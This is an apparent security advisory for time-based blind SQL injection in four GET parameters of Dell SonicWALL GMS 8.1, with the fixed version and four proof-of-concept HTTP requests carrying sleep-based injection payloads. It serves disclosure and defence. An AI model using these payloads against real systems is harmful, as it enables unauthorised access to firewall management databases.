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Dell SonicWALL Global Management System GMS 8.1 Blind SQL Injection


Vendor: Dell Inc.
Product web page: https://www.sonicwall.com/products/sonicwall-gms/
Affected version: 8.1
                  8.0 SP1 Build 8048.1410
                  Flow Server Virtual Appliance

Fixed in: 8.2 (VR-2016-01-C0V)

Summary: Provide your organization, distributed enterprise or managed
service offering with an intuitive, powerful way to rapidly deploy and
centrally manage SonicWall solutions, with SonicWall GMS. Get more value
from your firewall, secure remote access, anti-spam, and backup and recovery
solutions with enhanced network security monitoring and robust network
security reporting. By deploying GMS in an enterprise, you can minimize
administrative overhead by streamlining security appliance deployment
and policy management.

Desc: Dell SonicWALL GMS suffers from multiple SQL Injection vulnerabilities.
Input passed via the GET parameters 'searchBySonicwall', 'firstChangeOrderID',
'secondChangeOrderID' and 'coDomainID' is not properly sanitised before being
returned to the user or used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.

Tested on: SonicWALL
           MySQL/5.0.96-community-nt
           Apache-Coyote/1.1
           Apache Tomcat 6.0.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5388
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5388.php

Vendor: https://support.sonicwall.com/product-notification/215257?productName=SonicWALL%20GMS


26.01.2016

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Blind SQL Injection via several parameters:

- searchBySonicwall (GET)
- coDomainID (GET)
- firstChangeOrderID (GET)
- secondChangeOrderID (GET)


PoC:

#1

GET /sgms/TaskViewServlet?page=taskView&level=1&node_id=null&screenid=15200&unused=&help_url=&node_name=null&unitType=0&searchBySonicwall=null'%2b(select*from(select(sleep(6)))a)%2b' HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Referer: http://127.0.0.1/sgms/content.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close


#2

GET /sgms/Logs?page=logView&searchByCO=Workflow%20Change%20Order%20Example&coDomainID=DMN0000000000000000000000001'%2b(select*from(select(sleep(6)))a)%2b'&level=1&node_id=null&screenid=15150&unused=&help_url=&node_name=null&unitType=0&searchBySonicwall=null HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Referer: http://127.0.0.1/sgms/content.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close


#3

GET /sgms/workflow?page=fetchCompareScreens&firstChangeOrderID=CHO14532479280350040102377D2'%2b(select*from(select(sleep(6)))a)%2b'&secondChangeOrderID=CHO14520472477130040102377D2&_dc=1453805798333&node=root HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://127.0.0.1/sgms/viewdiff.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close


#4

GET /sgms/workflow?page=fetchCompareScreens&firstChangeOrderID=CHO14532479280350040102377D2&secondChangeOrderID=CHO14520472477130040102377D2'%2b(select*from(select(sleep(6)))a)%2b'&_dc=1453805798333&node=root HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://127.0.0.1/sgms/viewdiff.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close